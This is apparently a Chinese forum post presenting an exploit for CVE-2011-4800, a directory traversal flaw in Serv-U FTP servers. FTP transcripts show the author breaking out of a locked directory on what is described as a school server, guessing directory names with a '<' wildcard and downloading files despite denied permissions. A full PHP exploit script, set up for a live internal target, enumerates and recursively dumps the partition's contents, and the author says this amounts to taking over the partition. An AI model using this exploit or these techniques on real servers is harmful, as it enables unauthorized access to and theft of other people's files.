cve-2011-4800 Serv-U跨目录漏洞exp

本文作者:hundan
来源:90WiKi

引言

学校用的ftp服务器是Serv-U 6.3/ 6.4的,而Serv-U在11.1.0.5之前有一个跨目录的漏洞,可以绕过“锁定用户在该目录”的功能,具体表现为 cd ..:/..:/..:/xxx 可以跳出当前路径,相当于正常命令下的 cd ../../../xxx,问题编号为cve-2011-4800

测试环境:Serv-U 6.3破解版

测试

C:\Users\lenovo>ftp 192.168.60.20
连接到 192.168.60.20。
220 Serv-U FTP Server v6.3 for WinSock ready...
501 Invalid option.
用户(192.168.60.20:(none)): tjh
230 User logged in, proceed.
ftp> cd 作业
250 Directory changed to /作业
ftp> cd ..:/..:/..:/zzm
250 Directory changed to /作业/tjh/../../zzm
ftp> dir
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
drw-rw-rw-   1 user     group           0 Apr 12  2016 .
drw-rw-rw-   1 user     group           0 Apr 12  2016 ..
drw-rw-rw-   1 user     group           0 Jan 15 19:10 linux
drw-rw-rw-   1 user     group           0 Feb 23  2014 大计
drw-rw-rw-   1 user     group           0 Jun  2  2016 期末考试
drw-rw-rw-   1 user     group           0 Nov 16 14:37 题目
drw-rw-rw-   1 user     group           0 Oct  9 21:49 作业
226 Transfer complete.
ftp: 收到 430 字节,用时 0.03秒 13.03千字节/秒。

可以看到,已经成功的跳出了当前路径到zzm文件夹下,并列出了目录,之所以要先cd 作业的原因,似乎是由于文件夹权限继承的问题,在当前文件夹下无法跳转到其他目录下,而进入子目录之后可以向上跳。

但是需要说明的是,无法直接 cd ..:/..:/跳出,最后必须要有一个指定的文件夹,因此无法直接列出分区根目录所有文件,要想列出文件,必须先知道具体的文件名,因此下面使用windows特性进行猜解。

poc里给出的ls命令跨目录列文件的方式并不能用。

windows特性

在windows下,某些时候“<”符号会被用作通配符。比如

C:\Users\lenovo>cd "de<"

C:\Users\lenovo\Desktop>在serv-u给出的环境中同样可以使用<进行通配。

ftp> cd ..:/3<
250 Directory changed to /../3<

但是这样跳转后的目录是无法列出目录的ftp> cd ..:/d<

250 Directory changed to /../d<
ftp> dir
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.

而且必须先跳转后才能使用dir列目录,否则列出目录为空

ftp> dir ..:/data/
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.

正确列出的文件如下

ftp> cd ..:/data
250 Directory changed to /../data
ftp> dir
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
drw-rw-rw-   1 user     group           0 Jan 15 18:21 .
drw-rw-rw-   1 user     group           0 Jan 15 18:21 ..
-rw-rw-rw-   1 user     group      499712 Feb 15  2017 HugeTxtSearch.exe
-rw-rw-rw-   1 user     group     5981195 Dec 31  2016 P61118-150213.jpg

那么利用该通配符,具体的猜测过程大概如下

ftp> cd ..:/3<
250 Directory changed to /../3<
ftp> cd ..:/36<
250 Directory changed to /
ftp> cd ..:/36<
250 Directory changed to /../36<
ftp> cd ..:/360<
250 Directory changed to /
ftp> cd ..:/360<
250 Directory changed to /../360<
ftp> cd ..:/360a<
250 Directory changed to /
ftp> cd ..:/360a<
550 /../360a<: No such file or directory.
ftp> cd ..:/360d<
250 Directory changed to /../360d<
ftp> cd ..:/360download<
250 Directory changed to /
ftp> cd ..:/360download<
250 Directory changed to /../360download<
ftp> cd ..:/360downloads<
250 Directory changed to /
ftp> cd ..:/360downloads<
250 Directory changed to /../360downloads<
ftp> cd ..:/360downloads
250 Directory changed to /
ftp> cd ..:/360downloads
250 Directory changed to /../360downloads

有时候发现跨目录之后没有下载权限,但是有上传权限,该权限应该是继承自当前用户在当前文件夹下的权限。

get ..:/..:/..:/zzm/linux/rhel-server-5.0-i386-dvd.iso

换到一个能下载的文件夹里,然后再get,即可成功下载

cd 题目/net501

get ..:/..:/..:/zzm/linux/rhel-server-5.0-i386-dvd.iso

继承的权限可以用于突破原先限定的权限

ftp> get 5.5.fla
200 PORT Command successful.
550 Permission denied.
ftp> cd /题目/net501
250 Directory changed to /题目/net501
ftp> get ..:/..:/作业/flash/5.5.fla
200 PORT Command successful.
150 Opening ASCII mode data connection for 5.5.fla (8714 Bytes).
226 Transfer complete.
ftp: 收到 8714 字节,用时 0.02秒 484.11千字节/秒。

其实在Serv-U服务器倒是可以看到日志:

     220 Serv-U FTP Server v6.3 for WinSock ready...
OPTS UTF8 ON
     501 Invalid option.
USER test
     230 User logged in, proceed.
CWD ..:/
     550 /..:: No such file or directory.
CWD ..:\
     550 /..:: No such file or directory.
CWD ..:/data
     250 Directory changed to /../data

所以在好奇,是不是其实:这个冒号被过滤或者被当成其他意思解释了,其实不管输入多少个冒号,结果都是一样的

CWD ..::::::::::::::::::::::::/data
     250 Directory changed to /../data

而冒号后面的点则会与冒号一同消失,也许是为了避免跨盘符而设定的规则。

CWD ..:........./data
     250 Directory changed to /../data

至此,组合以上所有特性,已经可以遍历下载在该分区根目录下所有文件夹名为字母+符号+数字里的所有文件了,在知道具体路径的情况下,可以下载该分区下任意文件。

exp

<?php
/*
测试环境
*/

/*
$serv_u['ftp_server'] = '127.0.0.1';
$serv_u['ftp_user_name'] = 'test';
$serv_u['ftp_user_pass'] = '';
$serv_u['init_dir'] = '/';
$serv_u['depth_dir'] = '..:/..:/..:/';
*/
/*
实战环境
*/

$serv_u['ftp_server'] = '192.168.60.20';
$serv_u['ftp_user_name'] = 'hwh';
$serv_u['ftp_user_pass'] = '';
$serv_u['init_dir'] = '/jsb/';
$serv_u['depth_dir'] = '..:/..:/..:/..:/..:/';

$extend_enable = 1; // 是否启用外部拓展字典模式,0为关闭
$extend_payload = 'D:/OkMyWork/CVE-2011-4800/cve-2011-4800-payload.txt'; // 外部字典所在路径,支持相对或绝对,相对于shell运行位置而言

$serv_u['conn_id'] = ftp_connect($serv_u['ftp_server']) or die('cannot connect'); 
$serv_u['login_result'] = ftp_login($serv_u['conn_id'], $serv_u['ftp_user_name'], $serv_u['ftp_user_pass']);
if (!$serv_u['conn_id'] OR !$serv_u['login_result']) {
        die('not login');
}
$serv_u['mkdir_name'] = $serv_u['ftp_server'].'_'.$serv_u['ftp_user_name'];
@mkdir($serv_u['mkdir_name']);

/*
递归列出已找到的所有文件夹
*/
function resolve_depth_list($serv_u, $current_dir){
        ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
        ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir);
        $contents = ftp_rawlist($serv_u['conn_id'], '');
        file_put_contents($serv_u['ftp_server'].'.resolve.txt', "============$current_dir============\r\n", FILE_APPEND);
        foreach ($contents as $key => $value) {
                file_put_contents($serv_u['ftp_server'].'.resolve.txt', $value."\r\n", FILE_APPEND);        
        }
        foreach ($contents as $key => $value) {
                preg_match_all('/^d[rwx-]{9}\s+?\d+?\s+?\w+?\s+?\w+?\s+?\d+?\s+?\w+?\s+?\d+?\s+?[(\d+?:\d+?)|(\d)]+?\s(.+)$/', $value, $dir_name);
                if (@$dir_name[1][0]) {
                        if ($dir_name[1][0] === '.' || $dir_name[1][0] === '..'){
                                continue;
                        }
                        echo "准备列出".$current_dir.'/'.$dir_name[1][0]."\n";
                        resolve_depth_list($serv_u, $current_dir.'/'.$dir_name[1][0]);
                }else{
                }
        }
}

/*
寻找根目录下目录名所用到的所有字符
*/
$payload = array();
$payload_t = array();
for ($i = 32; $i < 128; $i++) {
        if ($i === 97 ) {
                $i = 123;
        } elseif ($i === 46 || $i === 47 || $i === 58 || $i === 60 || $i === 62 || $i === 92 || $i === 34 || $i === 32 ) {
                continue;
        }
        $payload_t[] = chr($i);
}
if ($extend_enable !== 0) {
        $payload_t = array_merge($payload_t, file($extend_payload, FILE_IGNORE_NEW_LINES));
}
$payload_t = array_unique($payload_t);
foreach ($payload_t as $key => $value) {
        ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
        if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].'<'.$value.'<') && (ftp_pwd($serv_u['conn_id']) !== '/' || $serv_u['init_dir'])) {
                echo "发现 ".$value."\r\n";
                $payload[] = $value;
        }elseif (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$value.'<') && (ftp_pwd($serv_u['conn_id']) !== '/' || $serv_u['init_dir'])) {
                echo "发现 ".$value."\r\n";
                $payload[] = $value;
        }elseif (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].'<'.$value) && (ftp_pwd($serv_u['conn_id']) !== '/' || $serv_u['init_dir'])) {
                echo "发现 ".$value."\r\n";
                $payload[] = $value;
        }
}

/*
寻找根目录下可能的文件夹名
*/
$dir_list = array();
function serv_u_list_root_path($serv_u, $current_dir = ''){
        global $dir_list, $payload;
        if ($current_dir) {
                ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
                if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir) && (ftp_pwd($serv_u['conn_id']) !== $serv_u['depth_dir'] && $serv_u['init_dir'])) {
                        echo $current_dir."\r\n";
                        $dir_list[] = $current_dir;
                        file_put_contents($serv_u['ftp_server'].'_'.$serv_u['ftp_user_name'].'.txt', $current_dir."\r\n", FILE_APPEND);
                        $contents = ftp_rawlist($serv_u['conn_id'], '');
                        foreach ($contents as $key => $value) {
                                file_put_contents('./'.$serv_u['mkdir_name'].'/'.$current_dir.'.txt', $value."\r\n", FILE_APPEND);
                        }
                }
        }
        $flag = 0;
        
        foreach ($payload as $key => $i) {
                ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
                if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir.$i.'<')) {
                        $flag = 1;
                        serv_u_list_root_path($serv_u, $current_dir.$i);
                }
                if ($current_dir) {
                        ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
                        if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir.chr(32).$i.'<')) {
                                $flag = 1;
                                serv_u_list_root_path($serv_u, $current_dir.chr(32).$i);
                        }
                }
        }
        
        if (!$flag) {
                echo $current_dir.'???--unknown--???'."\r\n";
                file_put_contents($serv_u['ftp_server'].'_'.$serv_u['ftp_user_name'].'.txt', $current_dir.'???--unknown--???'."\r\n", FILE_APPEND);
        }
}

/*
寻找根目录下可能的文件名-使用拓展
*/
serv_u_list_root_path($serv_u);

/*
启用递归遍历
*/
foreach ($dir_list as $key => $value) {
        resolve_depth_list($serv_u, $value);
}

ftp_close($serv_u['conn_id']);
?>

支持外部payload字典加载,一行一个字符,以支持比如中文等特殊字符,需要注意的是,exp和payload都需要保存为GBK/GB2312编码,否则cmd无法正常显示,也不能正常进行探测。
自用的payload使用了常用汉字top1000+百家姓+ftp上已知目录所有中文提取。链接

效果:探测根目录下的所有目录及其目录内容,递归探测已知目录的全部内容,导出到txt。

递归列出目录后,有助于快速确定敏感信息和深入攻击,在该分区可读可写,相当于接管了该分区。

3 Likes